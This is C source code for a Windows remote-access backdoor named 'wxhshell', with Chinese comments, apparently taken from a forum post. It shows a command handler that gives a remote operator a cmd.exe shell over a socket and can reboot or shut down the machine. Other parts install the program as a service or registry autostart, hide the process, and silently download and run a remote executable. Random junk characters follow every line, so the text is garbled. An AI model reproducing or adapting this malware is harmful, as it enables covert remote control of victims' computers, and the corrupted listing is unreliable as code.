  } O:D`6U+0  
  else { >o(*jZ  
R|tjvp-[}  
    switch(cmd[0]) { w}7`Vas9  
  ;r8,Wx@f1C  
  // 帮助 viKN:n! Ev  
  case '?': { }<S|_F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l1YyZ^Z  
    break; .H9!UQ&It  
  } n) `4*d$`  
  // 安装 <f:b%Pm 7  
  case 'i': { 8B\,*JGY2  
    if(Install()) ][TS|\\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:QJ@j\  
    else y*_g1q$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HaLEQ73  
    break; k%uRG_  
    } ,![C8il,  
  // 卸载 sd>#Hn  
  case 'r': { hydn" 9;  
    if(Uninstall()) a'Aru^el  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e3',? 5j  
    else g"<kj"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5sVQ`S-  
    break; 7!Fu.Ps >  
    } l1!i3m'x  
  // 显示 wxhshell 所在路径 .\< \J|3  
  case 'p': { O+(Z`,^  
    char svExeFile[MAX_PATH]; *FOTq'%i  
    strcpy(svExeFile,"\n\r"); 5E~][. d  
      strcat(svExeFile,ExeFile); |1rBK.8  
        send(wsh,svExeFile,strlen(svExeFile),0); 5tQffo8t  
    break; =]"[?a >  
    } ~H?RHYP~  
  // 重启 _U'edK]R  
  case 'b': { ^oaG.)3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )]rGGNF*  
    if(Boot(REBOOT)) H2rh$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B>-Iv _  
    else { iZ)7%R?5  
    closesocket(wsh); wgfn:LR  
    ExitThread(0); L"#Tas\5  
    } -%"MAIJnX  
    break; ]+ug:E{7  
    } 0d.lF:  
  // 关机 hoeOdWI pf  
  case 'd': { {.eC"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :9]23'Md  
    if(Boot(SHUTDOWN)) (#7pGGp*E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 67Ge}6*2pd  
    else { dzggl(  
    closesocket(wsh); M[HPHNsA&  
    ExitThread(0); Q8T4_p [-o  
    } {/ZB>l@D>8  
    break; c[J#Hc8;  
    } R4p bi=  
  // 获取shell EtN"K-X  
  case 's': { fM \T^X  
    CmdShell(wsh); Je+L8TB  
    closesocket(wsh); cb|`)"<HN  
    ExitThread(0); eGtIVY/D  
    break; $Iv*?S"2  
  } 7A7K:,c  
  // 退出 X!nI{PE  
  case 'x': { }MuXN<DDb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *)g*5kKN  
    CloseIt(wsh); R# mZYg  
    break; p;X[_h  
    } <P$b$fh/  
  // 离开 ) Q~Q .  
  case 'q': { v>7tJ[s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ojtcKw  
    closesocket(wsh); ,Lox?}t  
    WSACleanup(); /8J2,8vZ  
    exit(1); 2|w(d  
    break; /O/u5P{J  
        } a5]~%xdK  
  } V>4 !fD=  
  } rS)7D  
#q(BR{A>t  
  // 提示信息 E(8O3*=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tJ2l_M^  
} _mA[^G=gY  
  } 8t9sdqM/C  
>L[,.}(9  
  return; ~sMn/T*fv  
}  2Np9*[C  
DCP "  
// shell模块句柄 AUzJ:([V  
int CmdShell(SOCKET sock) 2Xe2 %{  
{ LvhF@%(9J  
STARTUPINFO si; [C P V5\2  
ZeroMemory(&si,sizeof(si)); i&Xr+Zsec"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \muyL?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]V><gZ  
PROCESS_INFORMATION ProcessInfo; b>Vs5nY!  
char cmdline[]="cmd"; 6;[iX`LL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7-6_`Q2}Y  
  return 0; pZ OVD%  
} !\+SE"ml  
Gd:fWz(  
// 自身启动模式 z$%ntN#eNA  
int StartFromService(void) ;l}TUo  
{ @iao"&  
typedef struct X B65,l  
{ *Fp )/Ih  
  DWORD ExitStatus; 6i=m1Yk  
  DWORD PebBaseAddress; CZ|Y o  
  DWORD AffinityMask; +#'exgGU^[  
  DWORD BasePriority; y4 P mL  
  ULONG UniqueProcessId; ]*I&104{  
  ULONG InheritedFromUniqueProcessId; yBs  
}   PROCESS_BASIC_INFORMATION; Kax85)9u  
Z78&IbR  
PROCNTQSIP NtQueryInformationProcess; RHVMlMX  
Ler9~}\D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E xY ~.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _oe2 pL&  
GJ{]}fl  
  HANDLE             hProcess; {9_CH<$W%U  
  PROCESS_BASIC_INFORMATION pbi; 6dq5f?w]  
!mq+Oz~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z4_>6sf{  
  if(NULL == hInst ) return 0; )jCAfdnCs  
H }</a%y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9dSKlB5J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j YO #  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `4(k ?Pk2  
?ry`+nx  
  if (!NtQueryInformationProcess) return 0; m|=/|Hm  
9J0m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y*|"!FK  
  if(!hProcess) return 0; O8 k$Uc  
MP0gLi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Qek![3^  
6W#M[0  
  CloseHandle(hProcess); 8;Yx a8ie  
95?$O~I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ko2{[%  
if(hProcess==NULL) return 0; mi<V(M~p  
g^4'42UX  
HMODULE hMod; %'k^aq FL  
char procName[255]; / u>")f  
unsigned long cbNeeded; AdR}{:ia  
z9'ME   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <EJ}9`t  
R279=sO,J  
  CloseHandle(hProcess); *,@dt+H!y  
VmV/~-<Z  
if(strstr(procName,"services")) return 1; // 以服务启动 OpUC98p?@  
k+&LOb7  
  return 0; // 注册表启动 iS=} | 8"  
} WPpl9)Qc  
^'6!)y#  
// 主模块 h6 8sQd  
int StartWxhshell(LPSTR lpCmdLine) I>b!4?h  
{ |f?tyQ  
  SOCKET wsl; bC)d iC  
BOOL val=TRUE; %0$$tS +  
  int port=0; cZ%weQa#N)  
  struct sockaddr_in door; ?psvhB{O  
Rco#?'  
  if(wscfg.ws_autoins) Install(); oG3>lqBwD2  
yA \C3r'  
port=atoi(lpCmdLine); V!a\:%#^Y  
F{B__Kf  
if(port<=0) port=wscfg.ws_port; *";,HG?|Iz  
gGH<%nHW1  
  WSADATA data; _;L9&>!p6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >z.o?F  
(7;}F~?h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mJ)o-BV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Y?M#3P.I  
  door.sin_family = AF_INET; s+h`,gg9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *'1qA0Xc  
  door.sin_port = htons(port); ZlUd^6|:3  
~OAST  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0!eZ&.h?4  
closesocket(wsl); {: T'2+OH>  
return 1; O*`] ]w]  
} \%K< S  
#Bj.#5  
  if(listen(wsl,2) == INVALID_SOCKET) { Z)~.OqRw]  
closesocket(wsl); wFnIM2a,  
return 1; b(wW;C'#0p  
} 4S`2")V  
  Wxhshell(wsl); h%8[];*DpN  
  WSACleanup(); hg/G7Ur"  
 ?; ZTJ  
return 0; g0: mm,t\  
n? e&I>1W  
} qfd/t<?|D  
,JYvfCA  
// 以NT服务方式启动 3<88j&9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GKTrf\"c  
{ \25Rq/&w  
DWORD   status = 0; se:]F/  
  DWORD   specificError = 0xfffffff; K.Nun)<  
b%IRIi&,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .J6Oiv.E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \tc 4DS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8 2nQ]  
  serviceStatus.dwWin32ExitCode     = 0; u]lf~EE  
  serviceStatus.dwServiceSpecificExitCode = 0; w+)MrB-}  
  serviceStatus.dwCheckPoint       = 0; f"\G"2C  
  serviceStatus.dwWaitHint       = 0; wR@&C\}9  
{*RyT.J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .DR^<Qy  
  if (hServiceStatusHandle==0) return; /o Q^j'v  
Uo>pV 9xRG  
status = GetLastError(); OSY$qL2  
  if (status!=NO_ERROR) 5V;BimI  
{ gXBC= ?jl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2Z;wU]  
    serviceStatus.dwCheckPoint       = 0; ~>2@55wElp  
    serviceStatus.dwWaitHint       = 0; DgQw`D)+  
    serviceStatus.dwWin32ExitCode     = status; 3)b[C&`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xxhzzm-B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5v >0$Y{  
    return; E%@,n9T~"  
  } 9|R]Lz3PA  
scZdDbL6+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iOXxxP%#  
  serviceStatus.dwCheckPoint       = 0; 1AiqB Rs  
  serviceStatus.dwWaitHint       = 0; |3j'HN5S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `"`/_al^  
} hfw$820y[  
Gw%P5 r}Y  
// 处理NT服务事件,比如:启动、停止 ye !}hm=w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :)hS-*P  
{ E:'TZ4Z  
switch(fdwControl) QT)D|]bH  
{ ~IrrX,mp:  
case SERVICE_CONTROL_STOP: &Z3g$R 9  
  serviceStatus.dwWin32ExitCode = 0; [*^` rQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !ZlBM{C  
  serviceStatus.dwCheckPoint   = 0; 8s^CE[TA  
  serviceStatus.dwWaitHint     = 0; T:k-`t0":N  
  { $ <'i+kK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V/xGk9L~  
  } 4B? 8$&b  
  return; UolsF-U}'  
case SERVICE_CONTROL_PAUSE: a k&G=a6^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8NU<lV`  
  break; `P/7Mf  
case SERVICE_CONTROL_CONTINUE: euO!vLdX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5A^$!q P  
  break; E$!0h_.(  
case SERVICE_CONTROL_INTERROGATE: Lso4Z Z;  
  break; Y.FqWJP=p  
}; v',%   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C(/{53G(  
} ;J<K/YdI  
N_<wiwI<  
// 标准应用程序主函数 y8~/EyY|^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |KH981  
{ 8['8ctX  
%2)B.qTp&  
// 获取操作系统版本 r5#8V zr  
OsIsNt=GetOsVer(); Zw4z`x1f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pCOtk'n  
"}/$xOl"  
  // 从命令行安装 6yU#;|6d  
  if(strpbrk(lpCmdLine,"iI")) Install(); {|:ro!&  
J9buf}C[  
  // 下载执行文件 i6Zsn#Z7)  
if(wscfg.ws_downexe) { c_p7vvI&c0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W.67};',  
  WinExec(wscfg.ws_filenam,SW_HIDE); YC,)t71l{  
} Obj?,O  
pGO=3=O  
if(!OsIsNt) { IhRWa|{I  
// 如果时win9x,隐藏进程并且设置为注册表启动 uu5L9.i9  
HideProc(); fm u;Pb]r  
StartWxhshell(lpCmdLine); xMOq/" )  
} YoU|)6Of   
else uC2-T5n'  
  if(StartFromService()) +c+i~5B4  
  // 以服务方式启动 0-VC$)S  
  StartServiceCtrlDispatcher(DispatchTable); LN!e_b  
else cJ ^:b4j  
  // 普通方式启动 u[Ij4h.  
  StartWxhshell(lpCmdLine); >5%;NI5 G  
0 UbY0sYo  
return 0; KO!.VxG]_  
}
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只看该作者 1 发表于: 2006-10-10
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